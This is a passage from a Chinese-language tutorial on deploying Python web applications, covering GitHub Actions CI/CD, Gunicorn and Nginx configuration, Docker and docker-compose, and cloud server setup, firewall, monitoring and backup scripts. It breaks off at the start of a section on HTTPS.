# .github/workflows/deploy.yml
deploy:
  runs-on: ubuntu-latest
  needs: [lint, test]
  if: github.ref == 'refs/heads/main'
  steps:
    - uses: actions/checkout@v4

    # 构建 Docker 镜像
    - name: Build Docker Image
      run: |
        docker build -t myapp:${{ github.sha }} .
        docker tag myapp:${{ github.sha }} myapp:latest

    # 推送到镜像仓库
    - name: Push to Registry
      run: |
        echo ${{ secrets.DOCKER_PASSWORD }} | docker login -u ${{ secrets.DOCKER_USER }} --password-stdin
        docker push myregistry/myapp:${{ github.sha }}

    # 部署到服务器
    - name: Deploy
      uses: appleboy/ssh-action@v1
      with:
        host: ${{ secrets.SERVER_HOST }}
        script: |
          docker pull myregistry/myapp:${{ github.sha }}
          docker-compose up -d
          docker image prune -f                    # 清理旧镜像
CI/CD 流程

代码推送到 Git → CI 自动运行 lint + 测试 → 测试通过 → CD 自动部署到服务器。全程自动化,人工不参与。分支策略:feature 分支开发 → PR 到 develop → 测试通过 → 合并到 main → 自动部署生产。

CI/CD 最佳实践

① CI 要快(目标 5 分钟内完成)。② 测试覆盖率要有门槛(如 80%)。③ 分支保护(main 分支必须 PR + 审核 + CI 通过)。④ 部署要有回滚方案。⑤ 敏感信息用 Secrets(不要硬编码)。⑥ 构建缓存(pip cache、Docker layer cache)。

安全扫描集成

# .github/workflows/security.yml
name: Security Scan
on: [push, pull_request]

jobs:
  security:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      # 依赖漏洞扫描
      - name: Install pip-audit
        run: pip install pip-audit safety

      - name: Run pip-audit
        run: pip-audit

      - name: Run safety check
        run: safety check -r requirements.txt

      # 代码安全扫描
      - name: Install bandit
        run: pip install bandit

      - name: Run bandit
        run: bandit -r app/ -f json -o bandit-report.json || true

      # Docker 镜像扫描
      - name: Run Trivy vulnerability scanner
        uses: aquasecurity/trivy-action@master
        with:
          image-ref: 'myapp:latest'
          format: 'sarif'
          output: 'trivy-results.sarif'

      # 上传扫描结果到 GitHub Security
      - name: Upload Trivy scan results
        uses: github/codeql-action/upload-sarif@v2
        if: always()
        with:
          sarif_file: 'trivy-results.sarif'

CI 缓存优化

# .github/workflows/ci.yml
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      # pip 缓存
      - uses: actions/setup-python@v5
        with:
          python-version: '3.12'
          cache: 'pip'  # 自动缓存 pip 包

      # 或手动缓存
      - name: Cache pip packages
        uses: actions/cache@v4
        with:
          path: ~/.cache/pip
          key: ${{ runner.os }}-pip-${{ hashFiles('requirements.txt') }}
          restore-keys: |
            ${{ runner.os }}-pip-

      # Docker 层缓存
      - name: Set up Docker Buildx
        uses: docker/setup-buildx-action@v3

      - name: Build and push
        uses: docker/build-push-action@v5
        with:
          context: .
          push: true
          tags: myapp:latest
          cache-from: type=gha
          cache-to: type=gha,mode=max

Conventional Commits + 自动 CHANGELOG

# Commit Message 规范(Conventional Commits)
# 格式:(): 

# 类型:
# feat:     新功能
# fix:      修复 bug
# docs:     文档
# style:    代码格式(不影响功能)
# refactor: 重构
# test:     测试
# chore:    构建/工具

# 示例:
# feat(auth): 添加 OAuth2 登录
# fix(api): 修复分页参数校验
# docs(readme): 更新安装说明

# commitlint 配置(.commitlintrc.yml)
extends:
  - '@commitlint/config-conventional'

# husky 配置(package.json)
{
  "husky": {
    "hooks": {
      "commit-msg": "commitlint -E HUSKY_GIT_PARAMS"
    }
  }
}

# 自动生成 CHANGELOG
# npm install -g conventional-changelog-cli
# conventional-changelog -p angular -i CHANGELOG.md -s

多环境配置管理

# .github/workflows/deploy.yml
name: Deploy
on:
  push:
    branches: [main, develop]

jobs:
  deploy-staging:
    runs-on: ubuntu-latest
    if: github.ref == 'refs/heads/develop'
    environment: staging  # GitHub Environment
    steps:
      - uses: actions/checkout@v4
      - name: Deploy to Staging
        run: |
          ssh ${{ secrets.STAGING_HOST }} "cd /app && git pull && systemctl restart app"
        env:
          DATABASE_URL: ${{ secrets.STAGING_DB_URL }}

  deploy-production:
    runs-on: ubuntu-latest
    if: github.ref == 'refs/heads/main'
    environment: production  # 需要审批
    steps:
      - uses: actions/checkout@v4
      - name: Deploy to Production
        run: |
          ssh ${{ secrets.PROD_HOST }} "cd /app && git pull && systemctl restart app"
        env:
          DATABASE_URL: ${{ secrets.PROD_DB_URL }}

# GitHub Environment 设置:
# - staging:自动部署
# - production:需要审批 + 等待时间 + 保护规则
第八部分 · 部署与运维

58. Gunicorn + Nginx 生产部署

开发用 flask run,生产用 Gunicorn + Nginx。这是 Python Web 生产部署的标准组合。

# Gunicorn 配置
# 安装:pip install gunicorn
gunicorn -w 4 -b 0.0.0.0:8000 app:app
# -w 4: 4 个 worker 进程(推荐 2 * CPU核心数 + 1)
# -b: 绑定地址
# app:app: 模块名:应用变量名

# gunicorn.conf.py
bind = "0.0.0.0:8000"
workers = 4
worker_class = "uvicorn.workers.UvicornWorker"  # ASGI(FastAPI 用)
timeout = 120
keepalive = 5
accesslog = "/var/log/gunicorn/access.log"
errorlog = "/var/log/gunicorn/error.log"
# Nginx 配置(/etc/nginx/sites-available/myapp)
server {
    listen 80;
    server_name www.example.com;

    # 静态文件直接由 Nginx 处理(比 Python 快 100 倍)
    location /static/ {
        alias /home/app/myproject/static/;
        expires 30d;
    }

    # 动态请求转发给 Gunicorn
    location / {
        proxy_pass http://127.0.0.1:8000;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
    }
}

Systemd 进程管理

# /etc/systemd/system/myapp.service — 用 systemd 管理 Gunicorn
[Unit]
Description=My Python Web App
After=network.target postgresql.service
Wants=postgresql.service

[Service]
User=app
Group=app
WorkingDirectory=/home/app/myproject
Environment="PATH=/home/app/myproject/venv/bin"
Environment="DATABASE_URL=postgresql://user:pass@localhost/mydb"
ExecStart=/home/app/myproject/venv/bin/gunicorn -c gunicorn.conf.py app:app
ExecReload=/bin/kill -s HUP $MAINPID
Restart=always                                 # 崩溃自动重启
RestartSec=5                                   # 重启间隔 5 秒
KillMode=mixed                                 # 优雅停止
TimeoutStopSec=30                              # 停止超时 30 秒

[Install]
WantedBy=multi-user.target

# 常用命令
# systemctl enable myapp         开机自启
# systemctl start myapp          启动
# systemctl stop myapp           停止
# systemctl restart myapp        重启
# systemctl status myapp         查看状态
# journalctl -u myapp -f         查看日志

Gunicorn 调优

# gunicorn.conf.py — 生产级配置
import multiprocessing

# 基础配置
bind = "127.0.0.1:8000"                       # 只监听本地(Nginx 转发)
workers = multiprocessing.cpu_count() * 2 + 1  # Worker 数量
worker_class = "uvicorn.workers.UvicornWorker"  # ASGI(FastAPI/Starlette)
# worker_class = "sync"                         # 同步(Flask/Django)
threads = 4                                     # 每个 Worker 的线程数(sync worker)

# 超时配置
timeout = 120                                   # Worker 超时(秒)
keepalive = 5                                   # Keep-Alive 超时
graceful_timeout = 30                           # 优雅停止超时

# 日志配置
accesslog = "/var/log/gunicorn/access.log"
errorlog = "/var/log/gunicorn/error.log"
loglevel = "info"
access_log_format = '%(h)s %(l)s %(u)s %(t)s "%(r)s" %(s)s %(b)s "%(f)s" "%(a)s" %(D)s'

# 进程配置
max_requests = 1000                             # 处理 1000 个请求后重启 Worker(防内存泄漏)
max_requests_jitter = 100                       # 随机偏移(避免同时重启)
preload_app = True                              # 预加载应用(节省内存)

# Worker 临时目录(Docker 中需要)
worker_tmp_dir = "/dev/shm"                     # 用内存文件系统(更快)

Nginx 完整配置

# /etc/nginx/sites-available/myapp — 生产级 Nginx 配置
upstream app_server {
    server 127.0.0.1:8000;
    keepalive 32;                                # 连接池
}

server {
    listen 80;
    server_name www.example.com example.com;
    return 301 https://$host$request_uri;        # 强制 HTTPS
}

server {
    listen 443 ssl;
    http2 on;                                    # Nginx 1.25.1+ 新语法
    server_name www.example.com example.com;

    # SSL 配置
    ssl_certificate /etc/letsencrypt/live/example.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/example.com/privkey.pem;
    ssl_protocols TLSv1.2 TLSv1.3;
    ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256;
    ssl_prefer_server_ciphers off;

    # 安全 Headers
    add_header X-Content-Type-Options "nosniff" always;
    add_header X-Frame-Options "DENY" always;
    add_header Strict-Transport-Security "max-age=31536000" always;

    # 日志
    access_log /var/log/nginx/myapp_access.log;
    error_log /var/log/nginx/myapp_error.log;

    # 请求大小限制
    client_max_body_size 50M;                    # 文件上传限制

    # 静态文件(Nginx 直接处理,比 Python 快 100 倍)
    location /static/ {
        alias /home/app/myproject/static/;
        expires 30d;
        add_header Cache-Control "public, immutable";
    }

    location /media/ {
        alias /home/app/myproject/uploads/;
        expires 7d;
    }

    # Gzip 压缩
    gzip on;
    gzip_vary on;
    gzip_min_length 1024;
    gzip_types text/plain text/css application/json application/javascript text/xml;

    # 动态请求转发给 Gunicorn
    location / {
        proxy_pass http://app_server;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
        proxy_connect_timeout 10s;
        proxy_read_timeout 120s;
        proxy_send_timeout 120s;
        proxy_buffering on;
    }

    # WebSocket 支持
    location /ws/ {
        proxy_pass http://app_server;
        proxy_http_version 1.1;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection "upgrade";
    }
}

部署检查清单

1
环境变量——SECRET_KEY、DATABASE_URL、DEBUG=False 等敏感配置用环境变量,不要硬编码。
2
静态文件——python manage.py collectstatic(Django)或配置 Nginx 直接服务静态文件。
3
数据库迁移——部署前运行 alembic upgrade head 或 python manage.py migrate。
4
健康检查——添加 /health 接口返回 200,Nginx 和负载均衡器用它检查服务状态。
为什么需要 Nginx?

① Nginx 处理静态文件比 Gunicorn 快 100 倍。② Nginx 做 SSL 终止(HTTPS 解密)。③ Nginx 做负载均衡(多台 Gunicorn)。④ Nginx 做限流和安全防护。⑤ Nginx 缓冲慢客户端,让 Gunicorn 专注处理请求。⑥ Nginx 做 Gzip 压缩。

常见部署问题

① 502 Bad Gateway——Gunicorn 没启动或端口不对。② 413 Request Entity Too Large——client_max_body_size 太小。③ 静态文件 404——Nginx 的 alias 路径不对。④ 权限问题——Nginx 用户(www-data)要能读取静态文件目录。⑤ SELinux 阻止——setsebool -P httpd_can_network_connect 1。

59. Docker 容器化

你有没有遇到过这样的情况——你在自己电脑上跑得好好的程序,发给同事或者部署到服务器上就报错?"我电脑上明明能跑啊!"这句话可能是程序员说得最多的一句话。Docker 就是来解决这个问题的:它把你的程序、依赖库、配置文件、甚至操作系统全部打包成一个"集装箱",不管运到哪里,打开就能用。

一个类比

想象你是一个厨师,你做了一道拿手菜。现在要把这道菜送到全国各地的餐厅。如果只寄菜谱(代码),每个餐厅的厨房设备不同(操作系统不同)、食材品牌不同(依赖版本不同),做出来的味道就不一样。Docker 的做法是:把整间厨房——包括灶台、锅碗瓢盆、食材、调料、菜谱——全部装进一个标准集装箱里。不管运到北京还是纽约,打开集装箱就能做出一模一样的菜。这个集装箱就是 Docker 容器,集装箱的设计图纸就是 Dockerfile。

Dockerfile — 容器的设计图纸

Dockerfile 是一个纯文本文件,里面一行一行地告诉 Docker:"先用什么操作系统,再装什么软件,再复制什么文件,最后怎么启动程序。"就像一份建筑施工图纸,Docker 按照图纸一步一步把容器搭建起来。

# ============================================
# Dockerfile — 一个完整的 Python Web 应用示例
# ============================================

# 第 1 步:选择基础镜像(就像选一块地基)
# python:3.12-slim 是精简版,比完整版小 700MB
FROM python:3.12-slim

# 第 2 步:设置工作目录(在容器里创建一个文件夹)
WORKDIR /app

# 第 3 步:先只复制依赖文件(利用 Docker 缓存机制)
# 只要 requirements.txt 没变,这一层就不会重新构建
COPY requirements.txt .

# 第 4 步:安装依赖
# --no-cache-dir 不缓存下载的包,减小镜像体积
RUN pip install --no-cache-dir -r requirements.txt

# 第 5 步:复制项目代码到容器里
COPY . .

# 第 6 步:声明容器运行时监听的端口(只是声明,不实际暴露)
EXPOSE 8000

# 第 7 步:设置环境变量
ENV PYTHONUNBUFFERED=1
ENV PYTHONDONTWRITEBYTECODE=1

# 第 8 步:容器启动时执行的命令
CMD ["gunicorn", "-w", "4", "-b", "0.0.0.0:8000", "main:app"]

Dockerfile 指令速查

FROM
选择基础镜像——每 Dockerfile 第一行必须是 FROM。就像盖房子要先选地基。
WORKDIR
设置工作目录——后续的 COPY、RUN、CMD 都在这个目录下执行。
COPY
复制文件——把宿主机的文件复制到容器里。注意:路径是相对于 Dockerfile 所在目录。
RUN
执行命令——在构建镜像时执行,比如安装软件。每条 RUN 会生成一层(layer)。
EXPOSE
声明端口——告诉使用者这个容器会用哪个端口。只是文档作用,不实际映射。
ENV
设置环境变量——在容器内设置环境变量,程序可以通过 os.environ 读取。
CMD
启动命令——容器启动时执行的命令。只能有一个 CMD,写多个只有最后一个生效。
ENTRYPOINT
入口点——和 CMD 类似,但更适合作为固定入口,CMD 的内容会作为参数传给它。
CMD vs ENTRYPOINT 的区别

CMD 设置的命令可以被 docker run 后面的参数覆盖;ENTRYPOINT 设置的命令不会被覆盖,后面的参数会追加到 ENTRYPOINT 后面。比如 ENTRYPOINT ["python"] + CMD ["app.py"],运行时 docker run myimage test.py 会执行 python test.py(CMD 被覆盖了)。大多数情况下用 CMD 就够了。

多阶段构建 — 镜像瘦身术

一个 Python 项目构建时需要 gcc、make、开发头文件等编译工具,但运行时根本不需要它们。多阶段构建的做法是:先在一个"胖"镜像里编译,再把编译结果复制到一个"瘦"镜像里运行。就像你在一个大厨房里做好菜,然后只把成品端到餐桌上——餐桌不需要放满厨具。

一个类比

多阶段构建就像"工厂流水线"——第一个车间(第一阶段)负责生产半成品,需要很多大型设备;第二个车间(第二阶段)只需要包装设备,把半成品打包成成品。最终你拿到的是包装好的产品,而不是整个工厂。Docker 镜像也是同样的道理:最终镜像只包含运行需要的东西,不包含编译工具。

# ============================================
# 多阶段构建 Dockerfile
# 最终镜像只有 ~150MB,而不是 ~1GB
# ============================================

# ---- 第一阶段:构建阶段 ----
# 用完整版 Python 镜像(包含编译工具)
FROM python:3.12 AS builder

WORKDIR /app

# 安装编译依赖(比如 psycopg2 需要 libpq-dev)
RUN apt-get update && apt-get install -y --no-install-recommends \
    gcc \
    libpq-dev \
    && rm -rf /var/lib/apt/lists/*

# 安装 Python 依赖到一个单独的目录
COPY requirements.txt .
RUN pip install --no-cache-dir --prefix=/install -r requirements.txt

# ---- 第二阶段:运行阶段 ----
# 用精简版 Python 镜像
FROM python:3.12-slim

WORKDIR /app

# 只安装运行时需要的最小依赖(不是编译工具)
RUN apt-get update && apt-get install -y --no-install-recommends \
    libpq5 \
    && rm -rf /var/lib/apt/lists/*

# 从第一阶段复制已安装的 Python 包
COPY --from=builder /install /usr/local

# 复制应用代码
COPY . .

# 创建非 root 用户运行应用(安全最佳实践)
RUN useradd --create-home appuser
USER appuser

EXPOSE 8000
CMD ["gunicorn", "-w", "4", "-b", "0.0.0.0:8000", "main:app"]
维度单阶段构建多阶段构建
镜像大小800MB ~ 1.2GB120MB ~ 200MB
包含编译工具是(gcc、make 等)否(只有运行时依赖)
安全性攻击面大攻击面小
构建速度快(一步到位)略慢(两个阶段)
适用场景开发调试生产部署(强烈推荐)

docker-compose 多服务编排

一个真实的 Web 应用通常不是单独运行的——它需要数据库、缓存、消息队列、反向代理等多个服务配合。docker-compose 就是来管理这些服务的"总指挥",一个 YAML 文件定义所有服务,一条命令全部启动。

# ============================================
# docker-compose.yml — 完整的多服务编排示例
# 包含:Web 应用 + PostgreSQL + Redis + Nginx
# ============================================

services:
  # ---- Web 应用(Python FastAPI)----
  web:
    build:
      context: .                      # Dockerfile 所在目录
      dockerfile: Dockerfile          # 指定 Dockerfile 文件名
    container_name: myapp-web
    ports:
      - "8000:8000"                   # 宿主机端口:容器端口
    environment:
      - DATABASE_URL=postgresql://postgres:secret@db:5432/myapp
      - REDIS_URL=redis://redis:6379/0
      - SECRET_KEY=your-secret-key-here
    depends_on:
      db:
        condition: service_healthy    # 等数据库健康后再启动
      redis:
        condition: service_healthy
    restart: unless-stopped           # 崩溃自动重启
    networks:
      - app-network

  # ---- PostgreSQL 数据库 ----
  db:
    image: postgres:16-alpine
    container_name: myapp-db
    environment:
      POSTGRES_USER: postgres
      POSTGRES_PASSWORD: secret
      POSTGRES_DB: myapp
    volumes:
      - pgdata:/var/lib/postgresql/data    # 持久化数据
      - ./init.sql:/docker-entrypoint-initdb.d/init.sql  # 初始化脚本
    ports:
      - "5432:5432"
    healthcheck:                           # 健康检查
      test: ["CMD-SHELL", "pg_isready -U postgres"]
      interval: 10s
      timeout: 5s
      retries: 5
    restart: unless-stopped
    networks:
      - app-network

  # ---- Redis 缓存 ----
  redis:
    image: redis:7-alpine
    container_name: myapp-redis
    command: redis-server --maxmemory 256mb --maxmemory-policy allkeys-lru
    volumes:
      - redisdata:/data
    ports:
      - "6379:6379"
    healthcheck:
      test: ["CMD", "redis-cli", "ping"]
      interval: 10s
      timeout: 5s
      retries: 5
    restart: unless-stopped
    networks:
      - app-network

  # ---- Nginx 反向代理 ----
  nginx:
    image: nginx:alpine
    container_name: myapp-nginx
    ports:
      - "80:80"
      - "443:443"
    volumes:
      - ./nginx.conf:/etc/nginx/conf.d/default.conf   # Nginx 配置
      - ./ssl:/etc/nginx/ssl                           # SSL 证书
    depends_on:
      - web
    restart: unless-stopped
    networks:
      - app-network

# ---- 持久化卷 ----
volumes:
  pgdata:
  redisdata:

# ---- 自定义网络 ----
networks:
  app-network:
    driver: bridge
docker-compose 常用命令

docker compose up -d — 后台启动所有服务。docker compose down — 停止并删除所有容器。docker compose logs -f web — 实时查看 web 服务的日志。docker compose exec web bash — 进入 web 容器的终端。docker compose ps — 查看所有服务的状态。docker compose build --no-cache — 不使用缓存重新构建镜像。

.dockerignore — 排除不需要的文件

就像 .gitignore 告诉 Git 哪些文件不要提交,.dockerignore 告诉 Docker 哪些文件不要复制到镜像里。这不仅能减小镜像体积,还能避免把敏感信息(如 .env 文件)打包进镜像。

# ============================================
# .dockerignore — 排除不需要打包到镜像的文件
# 放在项目根目录(和 Dockerfile 同级)
# ============================================

# Python 相关
__pycache__
*.pyc
*.pyo
*.egg-info
dist/
build/
.eggs/
*.egg

# 虚拟环境(镜像里不需要你的 venv)
venv/
.venv/
env/

# IDE 和编辑器
.vscode/
.idea/
*.swp
*.swo

# 版本控制
.git/
.gitignore

# 环境变量文件(敏感信息不要打包进镜像!)
.env
.env.local
.env.production

# Docker 自身
Dockerfile
docker-compose.yml
.dockerignore

# 测试和文档
tests/
docs/
*.md
.pytest_cache/
.coverage

# 操作系统文件
.DS_Store
Thumbs.db

# 日志和临时文件
*.log
tmp/
temp/
安全警告

永远不要把 .env 文件打包进 Docker 镜像!镜像一旦被推送到 Docker Hub 或其他仓库,任何人都能下载并查看里面的密钥和密码。用 .dockerignore 排除 .env,通过 docker compose 的 environment 或 secrets 注入敏感配置。

HEALTHCHECK — 健康检查

容器启动了不代表服务是正常的——程序可能还在初始化,或者已经崩溃但容器还在运行。HEALTHCHECK 让 Docker 定期检查容器内的服务是否真的在正常工作。就像医院里的心电监护仪,持续监测病人心跳是否正常。

1
Docker 定时执行健康检查命令——比如每隔 30 秒访问一次 /health 接口。
2
根据退出码判断状态——命令返回 0 表示健康(healthy),返回 1 表示不健康(unhealthy)。
3
更新容器状态——连续失败超过指定次数后,容器状态变为 unhealthy。
4
配合 depends_on 使用——其他服务可以等这个服务健康后再启动,避免连接失败。
# ============================================
# 在 Dockerfile 中添加健康检查
# ============================================

FROM python:3.12-slim

WORKDIR /app
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY . .

# 健康检查:每 30 秒访问一次 /health 接口
# --interval=30s    每 30 秒检查一次
# --timeout=10s     超时时间 10 秒
# --start-period=5s 启动后等 5 秒再开始检查(给程序初始化时间)
# --retries=3       连续失败 3 次才标记为 unhealthy
HEALTHCHECK --interval=30s --timeout=10s --start-period=5s --retries=3 \
    CMD curl -f http://localhost:8000/health || exit 1

CMD ["gunicorn", "-w", "4", "-b", "0.0.0.0:8000", "main:app"]
# ============================================
# FastAPI 中实现 /health 端点
# ============================================
from fastapi import FastAPI
from sqlalchemy import text
import redis

app = FastAPI()

@app.get("/health")
async def health_check():
    """健康检查端点 — 检查数据库和 Redis 是否正常"""
    status = {"status": "ok", "checks": {}}

    # 检查数据库连接
    try:
        async with engine.connect() as conn:
            await conn.execute(text("SELECT 1"))
        status["checks"]["database"] = "ok"
    except Exception as e:
        status["status"] = "error"
        status["checks"]["database"] = str(e)

    # 检查 Redis 连接
    try:
        r = redis.Redis(host="redis", port=6379)
        r.ping()
        status["checks"]["redis"] = "ok"
    except Exception as e:
        status["status"] = "error"
        status["checks"]["redis"] = str(e)

    return status
depends_on 的 condition 模式

默认情况下 depends_on 只等容器启动,不等服务就绪。数据库容器启动了,但 PostgreSQL 可能还在初始化。加上 condition: service_healthy 后,docker-compose 会等健康检查通过后再启动依赖它的服务。这在上面的 docker-compose.yml 中已经演示过了。

镜像优化实战 — 从 1GB 瘦身到 150MB

镜像越大,拉取越慢,存储越贵,攻击面越大。下面是一套完整的镜像优化清单:

优化手段效果说明
用 slim/alpine 基础镜像减少 500-700MBpython:3.12-slim 比 python:3.12 小很多
多阶段构建减少 300-500MB编译工具不带入最终镜像
合并 RUN 指令减少 50-100MB每个 RUN 生成一层,合并可以减少层数
清理 apt 缓存减少 30-50MBrm -rf /var/lib/apt/lists/*
pip --no-cache-dir减少 20-50MB不缓存下载的 wheel 包
.dockerignore减少 10-100MB排除 tests、docs、.git 等
用 .dockerignore 排除 venv减少 200-500MB虚拟环境不要复制到镜像里
# ============================================
# 优化后的完整 Dockerfile(生产级)
# 最终镜像约 150MB
# ============================================

# ---- 构建阶段 ----
FROM python:3.12-slim AS builder

WORKDIR /app

# 合并 apt-get 和 pip 安装,减少层数
RUN apt-get update && \
    apt-get install -y --no-install-recommends gcc libpq-dev && \
    rm -rf /var/lib/apt/lists/*

COPY requirements.txt .
RUN pip install --no-cache-dir --prefix=/install -r requirements.txt

# ---- 运行阶段 ----
FROM python:3.12-slim

WORKDIR /app

# 只安装运行时动态链接库
RUN apt-get update && \
    apt-get install -y --no-install-recommends libpq5 curl && \
    rm -rf /var/lib/apt/lists/*

# 从构建阶段复制已编译的 Python 包
COPY --from=builder /install /usr/local

# 复制应用代码
COPY . .

# 非 root 用户
RUN useradd --create-home --shell /bin/bash appuser && \
    chown -R appuser:appuser /app
USER appuser

# 环境变量
ENV PYTHONUNBUFFERED=1
ENV PYTHONDONTWRITEBYTECODE=1

EXPOSE 8000

# 健康检查
HEALTHCHECK --interval=30s --timeout=10s --start-period=10s --retries=3 \
    CMD curl -f http://localhost:8000/health || exit 1

CMD ["gunicorn", "-w", "4", "-b", "0.0.0.0:8000", "--access-logfile", "-", "main:app"]
Docker 层缓存机制

Docker 会逐层缓存构建结果。如果某一层的输入没有变化,Docker 会直接使用缓存,不重新构建。所以把不常变化的步骤(如安装依赖)放在前面,常变化的步骤(如复制代码)放在后面。这样改代码后只需要重新执行最后几步,构建速度从几分钟缩短到几秒。

常用 Docker 命令速查

1
构建镜像——docker build -t myapp:1.0 . 用当前目录的 Dockerfile 构建镜像并打标签。
2
运行容器——docker run -d -p 8000:8000 --name myapp myapp:1.0 后台运行并映射端口。
3
查看日志——docker logs -f myapp 实时查看容器输出。docker logs --tail 100 myapp 看最后 100 行。
4
进入容器——docker exec -it myapp bash 进入容器的终端进行调试。
5
查看状态——docker ps 查看运行中的容器。docker images 查看本地镜像。
最佳实践总结

① 始终用 slim 或 alpine 作为基础镜像。② 生产环境用多阶段构建。③ 用 .dockerignore 排除一切不需要的文件。④ 添加 HEALTHCHECK 确保服务真正可用。⑤ 用非 root 用户运行应用。⑥ 一个容器只运行一个进程。⑦ 敏感信息通过环境变量注入,不要硬编码。⑧ 固定镜像版本标签(如 python:3.12-slim),不要用 latest。

60. 云服务器部署实战

把应用部署到云服务器,让全世界都能访问。

1
购买云服务器——阿里云/腾讯云 ECS,2核4G 起步,Ubuntu 22.04 系统。
2
配置安全组——开放 22(SSH)、80(HTTP)、443(HTTPS)端口。不要开放数据库端口。
3
SSH 连接服务器——ssh root@你的IP。创建普通用户,不要用 root 部署应用。
4
初始化环境——安装 Python、Nginx、Docker。配置防火墙。
5
部署应用——上传代码、安装依赖、启动 Gunicorn、配置 Nginx。
# 服务器初始化脚本
#!/bin/bash
apt update && apt upgrade -y
apt install -y python3.12 python3.12-venv nginx docker.io

# 创建应用目录
mkdir -p /home/app/myproject
cd /home/app/myproject

# 克隆代码
git clone https://github.com/you/repo.git .

# 创建虚拟环境
python3.12 -m venv venv
source venv/bin/activate
pip install -r requirements.txt

# 启动 Gunicorn(用 systemd 管理)
# /etc/systemd/system/myapp.service
[Unit]
Description=My App
After=network.target

[Service]
User=app
WorkingDirectory=/home/app/myproject
ExecStart=/home/app/myproject/venv/bin/gunicorn -c gunicorn.conf.py app:app
Restart=always

[Install]
WantedBy=multi-user.target

# 启用服务
systemctl enable myapp
systemctl start myapp

防火墙配置

# UFW 防火墙(Ubuntu)
ufw default deny incoming                       # 默认拒绝入站
ufw default allow outgoing                      # 默认允许出站
ufw allow 22/tcp                                # SSH
ufw allow 80/tcp                                # HTTP
ufw allow 443/tcp                               # HTTPS
ufw enable                                      # 启用防火墙
ufw status                                      # 查看规则

# 阿里云安全组(控制台配置)
# 入方向规则:
# 22/tcp   — SSH(限制来源 IP)
# 80/tcp   — HTTP(0.0.0.0/0)
# 443/tcp  — HTTPS(0.0.0.0/0)
# ⚠️ 不要开放数据库端口(3306/5432)到公网

服务器初始化脚本

#!/bin/bash
# server_init.sh — 新服务器初始化

set -e

# 1. 系统更新
apt update && apt upgrade -y

# 2. 创建应用用户(不用 root 部署)
adduser --disabled-password --gecos "" app
usermod -aG sudo app

# 3. 安装必要软件
apt install -y python3.12 python3.12-venv nginx certbot \
    python3-certbot-nginx redis-server supervisor

# 4. 配置防火墙
ufw default deny incoming
ufw default allow outgoing
ufw allow 22/tcp
ufw allow 80/tcp
ufw allow 443/tcp
ufw --force enable

# 5. 创建目录结构
mkdir -p /home/app/myproject/{logs,uploads,static}
chown -R app:app /home/app/myproject

# 6. 配置日志轮转
cat > /etc/logrotate.d/myapp << 'EOF'
/home/app/myproject/logs/*.log {
    daily
    missingok
    rotate 14
    compress
    delaycompress
    notifempty
    create 0640 app app
}
EOF

# 7. 配置 SSH 安全
sed -i 's/#PermitRootLogin yes/PermitRootLogin no/' /etc/ssh/sshd_config
sed -i 's/#PasswordAuthentication yes/PasswordAuthentication no/' /etc/ssh/sshd_config
systemctl restart sshd

echo "服务器初始化完成!"

应用部署脚本

#!/bin/bash
# deploy.sh — 应用部署脚本

set -e

PROJECT_DIR="/home/app/myproject"
cd $PROJECT_DIR

# 1. 拉取最新代码
git pull origin main

# 2. 更新依赖
source venv/bin/activate
pip install -r requirements.txt

# 3. 数据库迁移
alembic upgrade head

# 4. 收集静态文件(Django)
# python manage.py collectstatic --noinput

# 5. 重启应用
sudo systemctl restart myapp

# 6. 重载 Nginx(配置有变化时)
sudo nginx -t && sudo systemctl reload nginx

# 7. 清理
docker image prune -f 2>/dev/null || true

echo "部署完成!"

监控与备份

# 服务器监控脚本
#!/bin/bash
# monitor.sh — 简单的服务器健康检查

# 检查应用是否运行
if ! systemctl is-active --quiet myapp; then
    echo "应用未运行,正在重启..."
    systemctl restart myapp
    # 发送告警
    curl -X POST "https://oapi.dingtalk.com/robot/send?access_token=xxx" \
        -H 'Content-Type: application/json' \
        -d '{"msgtype":"text","text":{"content":"⚠️ 应用崩溃,已自动重启"}}'
fi

# 检查磁盘使用率
DISK_USAGE=$(df / | tail -1 | awk '{print $5}' | sed 's/%//')
if [ $DISK_USAGE -gt 80 ]; then
    echo "磁盘使用率超过 80%!"
fi

# 检查内存使用率
MEM_USAGE=$(free | grep Mem | awk '{print int($3/$2 * 100)}')
if [ $MEM_USAGE -gt 90 ]; then
    echo "内存使用率超过 90%!"
fi

# crontab: */5 * * * * /home/app/monitor.sh

备份策略

#!/bin/bash
# backup.sh — 自动备份脚本

BACKUP_DIR="/backups"
DATE=$(date +%Y%m%d_%H%M%S)

# 1. 数据库备份
pg_dump -U postgres mydb | gzip > $BACKUP_DIR/db_$DATE.sql.gz

# 2. 上传文件备份
tar -czf $BACKUP_DIR/uploads_$DATE.tar.gz /home/app/myproject/uploads/

# 3. 代码备份
tar -czf $BACKUP_DIR/code_$DATE.tar.gz /home/app/myproject/ --exclude=venv

# 4. 上传到云存储
aws s3 sync $BACKUP_DIR s3://mybucket/backups/

# 5. 清理 30 天前的本地备份
find $BACKUP_DIR -name "*.gz" -mtime +30 -delete

echo "备份完成: $DATE"

# crontab: 0 2 * * * /home/app/backup.sh
域名备案

中国大陆的服务器绑定域名需要 ICP 备案(阿里云/腾讯云控制台申请,约 1-2 周)。海外服务器不需要备案。备案期间可以用 IP 直接访问。

服务器安全

① 不用 root 部署应用。② SSH 禁止密码登录,只用密钥。③ 防火墙只开放必要端口。④ 定期更新系统(apt upgrade)。⑤ 安装 fail2ban 防暴力破解。⑥ 数据库不暴露到公网。

运维自动化

简单项目用 Shell 脚本 + crontab 足够。复杂项目用 Ansible(配置管理)、Terraform(基础设施即代码)。容器化项目用 Docker Compose + 简单的 deploy 脚本。

61. HTTPS 与域名配置

2026 年了,没有 HTTPS 的网站就是"裸奔"。Let's Encrypt 提供免费的 SSL 证书。

# 1. 安装 certbot
